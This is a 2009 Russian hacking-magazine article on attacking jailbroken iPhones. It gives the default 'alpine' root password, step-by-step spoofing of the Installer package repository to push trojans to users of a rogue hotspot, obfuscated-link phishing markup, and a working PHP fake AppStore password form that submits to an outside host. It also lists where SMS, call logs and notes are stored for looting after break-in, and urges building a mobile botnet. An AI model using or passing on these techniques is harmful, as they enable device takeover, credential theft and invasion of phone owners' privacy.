Издательский дом ООО "Гейм Лэнд"

ЖУРНАЛ ХАКЕР #123, МАРТ 2009 г.

Яблочное пюре. Атакуем Apple iPhone

D0znp (http://oxod.ru)

Одним прекрасным днем мир увидел революцию в области мобильных телефонов. Знаменитая Apple – мать всех макинтошей и айподов в придачу – выпустила на рынок свой первый Apple iPhone. Невероятно удобный графический интерфейс, большой экран, мощное железо и всего четыре кнопки! Но самое главное, что было в новом телефоне — операционная система. Настоящий Unix based, darwin kernel! Она так и призывала к экспериментам.

iPhone 3g: «прощайте, хакеры!»

Первая модель телефона еще не успела состариться, как Apple выпустила на рынок новый iPhone 3g. Отличий этой модели от своего предшественника всего три: GSM-контроллер с поддержкой 3g, A-GPS навигационный контроллер и корпус. Само собой разумеется, новое железо потребовало новой прошивки, и свет увидел вторую ветку фирмварей. Я не буду подробно описывать все фичи этих прошивок, их можно без труда найти в инете. Скажу только, что обещанного копи-паста так и не сделали (на момент написания этой статьи последняя прошивка – 2.2). Вышел и официальный SDK, и репозиторий-магазин Apple Store. Вторая ветка была зарелизена и для первого поколения телефонов, поэтому все новые программы универсальны. Разумеется, хакеры не заставили себя ждать и выпустили под новые прошивки анлоки и джеилбрейки. Самой популярной программой для разблокировки iPhone стала WinPWN. Вместе с разблокировкой предлагается поставить менеджеры пакетов Installer (уже 4-ая версия самого первого менеджера) и Cydia (менеджер пакетов на базе Debian package). В неофициальных репозиториях можно найти вкусные патчи и дополнения, утилиты и хаки, которых нет в Apple Store. Поэтому Installer и Cydia до сих пор пользуются популярностью, и списывать со счетов атаки на эти приложения смысла не имеет.

Атака 0. SSHD default

Самая нетрудная и самая действенная атака. Идея проста, как два байта: многие пользователи iPhone устанавливают SSH-демон, даже не подозревая, зачем он нужен. Он используется, например, в программе iPhone tunnel, с помощью которой эмулируется USB network. Другие пользователи специально ставят SSHD, но поменять пароль по умолчанию не считают нужным (или попросту ленятся). Вот листинг файла /etc/master.passwd:

## # User Database # # This file is the authoritative user database. ## nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false root:/smx7MYTQIi2M:0:0::0:0:System Administrator:/var/root:/bin/sh mobile:/smx7MYTQIi2M:501:501::0:0:Mobile User:/var/mobile:/bin/sh daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false _securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false _mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false _sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false _unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false

За хэшами скрывается магическое слово alpine. Таким образом, получаем две связки логин-пароль, с которыми вероятнее всего пустит на iPhone с открытым 22 портом: mobile/alpine и root/alpine. Неслабо? Да, вот так сразу – рутовый доступ, без лишних проблем. Не стоит думать, что найти такую «халяву» на улицах тяжело. Поверь мне: сделать это гораздо проще, чем можно было бы подумать (такое раздолье и заставило меня описать эту тупую и незатейливую атаку). Даже сейчас, когда больше половины iPhone - белые 3g от отечественных операторов, открытый порт 22 далеко не редкость.

Атака 1. Installer repository spoofing

Идея этой атаки пришла мне в голову, когда я первый раз взглянул на менеджер пакетов Installer от RipDev. Соль в том, чтобы создать поддельный репозиторий на базе обычного веб-сервера (например, встроенного в любую точку доступа урезанного httpd из busybox). Затем прописать DNS-запись с оригинальным именем репозитория разработчика и IP-адресом нашего веб-сервера (тоже решается средствами busy box). После этого iPhone-пользователи, присоединившиеся к нашему вкусному бесплатному хотспоту (который для пущей красоты можно назвать как-нибудь типа Godlen_Wifi :)) и обновившие свои программы, получат вместо них похаканные мобильные трояны. Репозиторий представляет собой xml-конфиги и zip-файлы с программами. Никакой подписи пакетов и проверки целостности, спуффинг в чистом виде. Итак, начнем! Скачиваем оригинальные скрипты для создания репозитория: http://i.ripdev.com/seed/repo-r1050.zip

Остается лишь найти приложение, которое заведомо будет установлено у всех пользователей. Нетрудно догадаться, что таким является сам Installer. Вот оригинальный конфиг производителя http://i.ripdev.com/info/index-2.2.plist, а вернее, та его часть, которая отвечает за эту софтину:

<dict> <key>category</key> <string>System</string> <key>date</key> <string>1232132864</string> <key>identifier</key> <string>com.ripdev.install</string> <key>name</key> <string>Installer</string> <key>version</key> <string>4.0</string> <key>description</key> <string>THE Installer. Now with resumeable downloads, optimized and tested for 2.1 and 2.2, rebuilds installed apps on the fly, supports proxies, Lua scripting language and more! Final release. Includes English, Russian and Ukranian localizations. </string> <key>icon</key> <string>http://i.ripdev.com/info/icons/com.ripdev.install-4.0.png</string> <key>url</key> <string>http://i.ripdev.com/info/com.ripdev.install-4.0-2.2.plist</string> </dict>

Чтобы заставить жертву поверить в обновление приложения, исправим параметры-ключи date и version на произвольные числа, заведомо больше данных. Теперь перейдем к xml-конфигу из ключа url:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>identifier</key> <string>com.ripdev.install</string> <key>name</key> <string>Installer</string> <key>version</key> <string>4.0</string> <key>description</key> <string>THE Installer. Now with resumeable downloads, optimized and tested for 2.1 and 2.2, rebuilds installed apps on the fly, supports proxies, Lua scripting language and more! Final release. Includes English, Russian and Ukranian localizations. </string> <key>icon</key> <string>http://i.ripdev.com/info/icons/com.ripdev.install-4.0.png</string> <key>size</key> <integer>565635</integer> <key>hash</key> <string>3d916b3d60c5c31c66e652f2c5711832</string> <key>location</key> <string>http://i.ripdev.com/packages/System/installer-40.zip</string> </dict> </plist>

Исправим ключ version на такой же, который выставили в предыдущем файле. Изменим ключ size, чтобы он соответствовал размеру хакнутого файла приложения. Последний штрих – ключ hash. Смотрим скачанный исходник репозитория regenerate.php:

$r['hash'] = md5_file($fullpath);

Видим, как все просто, никаких наворотов. Снимаем хэш от лже-приложения и кладем в значение ключа. Все готово, опционально можно исправить еще и url-ключ – это уже ничего не изменит. Думаю, тема раскрыта. О том, как создать троян для iPhone и что для этого потребуется, я постараюсь рассказать в следующих статьях.

Атака 2. Exploits

Уязвимости в основном найдены в веб-браузере Safari и почтовике. Во многом ошибки повторяют найденные ранее в версиях под MacOs. Комментарии на эту тему можно найти в исходных их кодах. Первой ласточкой стала ошибка в библиотеке libtiff, существовавшая на первом поколении телефонов и благополучно исправленная во вторых прошивках. Далее исследователи копали главным образом JavaScript процессор. Благо, тут было на что опираться: движок WebKit перелопатили, еще когда iPhone и в проекте не было, поэтому наработок хоть пруд пруди. Я умышленно не буду подробно разбирать существующие экспойты для iPhone. Во-первых, хочется посвятить этому отдельную статью. Во-вторых, пока будет логичным разобраться с более простыми атаками. Можешь попробовать готовые реализации:

http://www.iphoneworld.ca/exploits/crash-my-iphone.html
http://www.iphoneworld.ca/exploits/iphone-crash.html

Они прекрасно функционируют на последней (на момент написания статьи) прошивке 2.2. Еще пару слов о шелл-кодах. Есть прекрасная статья на метаспоите (http://blog.metasploit.com/2007/09/root-shell-in-my-pocket-and-maybe-yours.html), в которой подробно описываются многие аспекты безопасности яблочного телефона и процесс создания (а вернее, портирования) шелл-кода для iPhone. Рассказать об этом лучше, чем H.D.Moore, у меня вряд ли получится, поэтому просто отправляю к первоисточнику. К слову, эта статья была написана аж 25 сентября 2007 года! Запасись кофе – чаем - сигаретами (нужное подчеркнуть) и приятного чтения. А если хватит сил и дерзости самому броситься искать новые дыры, рекомендую для начала проверить все найденные уязвимости в Safari. Что-то мне подсказывает: не все из них закрыты в мобильной версии ;).

Атака 3. Fishing/XSS

Привожу два типа атак вместе, и связано это с тем, что «так исторически сложилось»: сначала попалось сообщение об угрозе фишинга на iPhone, затем захотелось расширить изыскания до XSS. К тому же, ничего конкретного по межсайтовому скриптингу я не получил, поэтому выделять в отдельный раздел считаю нецелесообразным. Итак, начнем. Однажды жарким летним днем рассылка секлаба сообщила, что некий израильский эксперт Авив Рафф нашел уязвимость в клиенте электронной почты iPhone, которая позволяет маскировать ложные ссылки в письмах. Перейдя по совершенно корректной и известной на вид ссылке, пользователь попадает на сайт, где ему под разным соусом предлагается отправить какие-то личные данные. В общем, схема стандартная, теперь о реализации. Что там придумал израильский эксперт, конечно, не сообщается, однако первое, что мне пришло на ум проверить, прочитав этот адвайс – обработку html-тэгов в письмах на iPhone. Недолго думая, я отправил сам себе письмо в html-формате:

<a href=http://google.ru>http://yandex.ru</a>

Открыв это сообщение через встроенный почтовый агент телефона, я ничуть не удивился. Ссылка называлась http://yandex.ru, а переходила, как и положено, на http://google.ru. Самое интересное, что если послать e-mail в формате обычного текста, со следующим содержанием: http://yandex.ru, то визуально это сообщение от вышерассмотренного отличаться не будет. Однако ссылки будут вести на разные сайты. Если подержать палец на такой ссылке высветится всплывающая подсказка, в которой будет содержаться адрес реального сайта. Недолго думая, я попробовал

<a href=”%68%74%74%70%3A%2F%2F%67%6F%6F%67%6C%65%2E%72%75”>http://yandex.ru</a>

и был разочарован – почтовый клиент такое парсить отказался, ссылка была неработоспособна. Со второй попытки получилось – я просто оставил директиву «http://»:

<a href=”http://%67%6F%6F%67%6C%65%2E%72%75”>http://yandex.ru</a>

Это уже работало корректно, по нажатию на ссылку из письма открывался браузер с Гуглом. Всплывающее окно отображало хексы, а не явный вид урла. В дополнение ко всему я убедился, что почтовик не воспринимает атрибуты title и alt. Подвиг израильского багоискателя был повторен, и я решил сделать страницу с формой, точно повторяющей диалог запроса пароля для AppleStore (этот диалог всплывает постоянно, пароль записать нельзя, поэтому пользователи уже на автомате вбивают данные) и отправить ее внутри iframe в теле письма. Недолго думая, я снял скриншот с оригинального диалога, распилил его на картинки и собрал в HTML-таблице. Верстка под Safari оказалась не очень простой, но, все же, результат вышел очень похожим на правду. Чтобы проверить его в работе, был написан простой скрипт:

<?php $fish=' <html> <body bgcolor="white"> <form method="GET" action="http://creditmne.ru/x/f/i.php" name="fakeform" id="fakeform" width="278"> <table border="0" style="width:278px;height:175px;padding-top:0px;padding-right:0px;padding-left:0px;padding-bottom:0px" width="278" height="175" cellpadding="0" cellspacing="0"> <tr width="278"> <td colspan="4"> <img src="r11.gif" width="278" height="78"/> </td> </tr> <tr width="278"> <td width="8" colspan="1"> <img src="r21.gif" border="0" width="8" height="30"/> </td> <td colspan="2" width="0"> <input type="password" style="width:262;height:30" name="fpass" value=""> </td> <td width="8" colspan="1"> <img src="r23.gif" style="margin-left:-115px" border="0" width="8" height="30"/> </td> </tr> <tr > <td colspan="2" > <input type="image" border="0" src="r31.gif" width="139" height="66"/> </td> <td colspan="2" > <input type="image" border="0" src="r32.gif" width="139" height="66"/> </td> </td> </table> </form> </body> </html>';

$pass = $_GET["fpass"]; if (strlen($pass)!=0) echo "<h1>password sniffed: ".$_GET["fpass"]."</h1>"; else echo $fish;

?>

Я отправил его себе на почту и открыл сообщение. Выглядело весьма натурально. При нажатии на кнопку «ОК» открылся веб-браузер, пароль был успешно отображен на экране. Помимо моего пароля, почтовик передал еще два параметра x и y, наверное, это какие-то относительные координаты места нажатия. Здесь надо заметить, что данные методом POST не передаются. Очевидно, почтарь передает в браузер только ссылку. Остаток дня я убил, чтобы заставить почтовик отрабатывать JavaScript. Тщетно! Не помогают никакие ухищрения. Если твои опыты будут более успешными – сообщи, буду искренне рад.
Теперь перейдем к iframe. Здесь все было удачно, код:

<iframe src=”http://ya.ru” />

– прекрасно отобразил поисковик прямо в теле сообщения. Как и следовало ожидать, javascript на таких страницах тоже не работал. Далее я выудил всю информацию о встроенном в почтовик браузере вот таким кодом:

<?php setcookie("user", "test", time()+3600); foreach ($_COOKIE as $cookie_name => $cookie_value) { print("<li>" . htmlspecialchars($cookie_name) . "=" . htmlspecialchars($cookie_value) . "</li>"); }

print("<h2>server array: ");

$tmp=fopen("iphone-mail.txt","w"); foreach($_SERVER as $key_name => $key_value) { fputs($tmp, $key_name . " = " . $key_value . "\n"); print( $key_name . " = " . $key_value . "<br>"); } fclose($tmp);

print("</h2>"); ?>

Результаты были следующими – cookies отключены, идентификация браузера полностью аналогична веб-браузеру Safari:

HTTP_USER_AGENT = Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; ru-ru) AppleWebKit/525.18.1 (KHTML, like Gecko) HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 HTTP_ACCEPT_LANGUAGE = ru HTTP_ACCEPT_ENCODING = gzip, deflate HTTP_CONNECTION = keep-alive SERVER_ADMIN = [no address given] REMOTE_PORT = 6084 SERVER_PROTOCOL = HTTP/1.1 REQUEST_METHOD = GET QUERY_STRING = argv = Array argc = 0

В итоге, единственное, что удалось обнаружить – рекурсивное отображение тела письма, при конструкции

<iframe src=/>

почтовик несколько раз отрисовывает вложенные iframe один в другой. При каких-то параметрах width и height он зацикливается и рисует бесконечно долго. Разок я эти параметры угадал, но особого внимания не обратил. Исходник не сохранился, а воспроизвести заново уже не получилось. Но то, что проблема остается и параметр src= (впрочем, как и любая конструкция src=”blablabla”) ссылается на этот же документ – очевидно. Обычно (в зависимости от остальных тэгов страницы) отрисовывается 3-4 повтора. Конечно, бесконечное отображение это утечка памяти, но ее успешный результат – всего лишь завершение работы почтовика. Кроме того, обнаружился приятный момент – недокументированный инклудинг документов прямо в тело письма. Отправляем html письмо с iframe, ссылающимся на скрипт:

<?php header('Content-type: application/vnd.ms-excel'); header('Content-Disposition: attachment; filename="downloaded.xls"'); readfile('xls.xls'); ?>

В итоге, получаем просмотр документов PDF/DOC/XLS прямо в теле письма в почтовике. Негусто! Последняя наработка – метатэги. Они в почтовике отрабатываются корректно, например, можно сделать редирект:

<meta http-equiv="Refresh" content="1; url=http://ya.ru">

Если оставить параметр url пустым, страница просто обновится (а вернее – будет постоянно обновляться). Что ж, обзор атак подобного типа предлагаю завершить. В этой области еще предстоит трудиться и трудиться, чтобы получить хоть какие-нибудь результаты.

Атака 4. Location Spoofing или «Потерялася я...»

Эту атаку, судя по всему, придумали швейцарцы. Во всяком случае, они первые о ней написали. Теоретическая возможность была рассмотрена сильно раньше этой статьи, однако практическая реализация касательно iPhone/iPod принадлежит именно им. Вот ссылка на первоисточник: http://www.syssec.ch/press/location-spoofing-attacks-on-the-iphone-and-ipod

Рекомендую ознакомиться, потому, что заниматься переводом у меня нет никакого желания :). Если вкратце: Apple iPhone 2g и Apple iPod touch умеют определять свое местоположение в пространстве, основываясь на данных от GSM-вышек и уровне сигнала в WiFi-сетях. Координаты WiFi-точек доступа тягаются из базы http://www.skyhookwireless.com (собственно, почему им не пришло в голову спуфить ответы этой самой базы). Поскольку в iPod touch никакого GSM-позиционирования быть не может, все сведения он тянет от WiFi-точек доступа. Спуфинг-атака заключается в том, что, имитируя такую же точку доступа, но расположенную ближе (уровень сигнала выше) или дальше (уровень сигнала ниже), можно ввести алгоритм в заблуждение. Никакой проверки подлинности, кроме МАК-адреса, там не предусмотрено, так что это проще простого. Что же касается iPhone 2g, то здесь такая атака тоже имеет место, но с оговоркой на то, что сначала ареал пребывания устанавливается на основе GSM-сигнала. Если попытаться убедить устройство, что здесь ловится точка доступа, далекая от этого ареала, данные от такой точки в расчет браться не будут. Таким образом, обмануть локатор iPhone можно только в пределах района, который позиционирует GSM.

Взгляд изнутри. Чем поживиться?

Предположим, все уже позади: подошел дефолтный пароль или эксплоит открыл нам шелл. В общем, доступ к файловой системе получен, что дальше? Дальше – лови момент. Большинство данных на iPhone хранится внутри базы данных sqlite. Каждое приложение (например, СМС-менеджер, почтовик, браузер и прочие) имеют свой файлик с базой, куда кладут все данные. Далее опишу структуру наиболее интересных баз:

/private/var/mobile/Library/CallHistory/call_history.db – записи о всех звонках. Формат таблицы call: ROWID (порядковый номер)|address (телефонный номер)|date (время звонка в абсолютном формате)|duration (длительность звонка в секундах)|flags (еще не понял зачем)|id (ссылка на идентификатор контакта?). В таблице _SqliteDatabaseProperties находятся настройки и общие сведения, например, общее время входящих/исходящих (timer_outgoing/timer_incoming).

/private/var/mobile/Library/Notes/notes.db – заметки. Формат таблицы note_bodies: note_id (порядковый номер заметки)|data (текст заметки в html формате, кодировка UTF-8). Формат таблицы Note: ROWID (порядковый номер заметки)|creation_date (абсолютная дата создания)|title (заголовок заметки)|summary (первые символы текста заметки)|contains_cjk (зарезервировано?).

/private/var/mobile/Library/SMS/sms.db – СМС :). Формат таблицы message: ROWID|address (номер телефон отправителя)|date|text (текст сообщения в UTF-8)|flags|replace|svc_center|group_id (идентификатор группы, в случае отправки нескольким адресатам в группе будут несколько номеров) | association_id|height|UIFlags|version. Формат таблицы msg_group: ROWID|type (резерв, всегда 0)|newest_message (ID последнего сообщения)|unread_count (кол-во непрочитанных). Эта таблица связывает группы адресатов и сообщения. Формат таблицы group_member: ROWID|group_id|address (номер телефона адресата). Таблица содержит информацию о группах адресатов СМС. Если ты отправляешь СМС одному человеку – создается новая группа, с одним адресатом, все сообщения от него к тебе и твои к нему записываются с идентификатором этой группы. Если отправляешь нескольким – создается группа с несколькими адресатами, тогда один номер является участником нескольких групп в таблице.

/private/var/mobile/Library/WebKit/Databases/Databases.db – здесь хранится информация о всех базах данных, которые использует движок WebKit. Это почтовые аккаунты. Формат таблицы Databases: guid|origin (источник, в случае с почтой gmail – это http_mail.google.com_0)|name (имя аккаунта GmailMobileWeb)| displayName|estimatedSize (размер базы в байтах)|path (имя базы данных). На основе данных из этой базы лезем в базы каждого аккаунта. Они расположены в директории /private/var/mobile/Library/WebKit/Databases/<origin из Databases.Databases>/<path из Databases.Databases>. Рассмотрение внутренностей этих баз оставлю на самостоятельное изучение или для следующих статей.

Заключение

Это не конец - это только начало. Пройдет немного времени и атак станет существенно больше. Стимул изобретать их весьма велик: мобильный ботнет на базе мощных unix-гаджетов с двумя интерфейсами выхода в интернет! Количество атак на мобильные платформы растет пропорционально их распространенности и производительности. Apple iPhone на сегодня по этим показателям явно лидер. Так что, дерзай, надеюсь, почву для размышления я предоставил. Если появятся вопросы или идеи, – жду тебя в своем блоге: http://oxod.ru.

WWW

http://www.skyhookwireless.com – сервис определения координат по MAC-адресам ближайших точек доступа.
http://blog.metasploit.com/2007/09/root-shell-in-my-pocket-and-maybe-yours.html – адаптация MetaSploit Framework к ОС iPhone.

DVD

Поддельную страницу логина AppleStore можно найти на диске.

Все рассмотренные эксплоиты есть на диске.

INFO

Окно ввода пароля AppleStore в точности повторяет окно javascript:prompt(‘user@yahoo.com’). За исключением того, что вместо «Пароль iTunes» отображается имя домена, на котором выполнен javascript. Осталось только дополнить эту идею DNS-спуфингом.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Содержание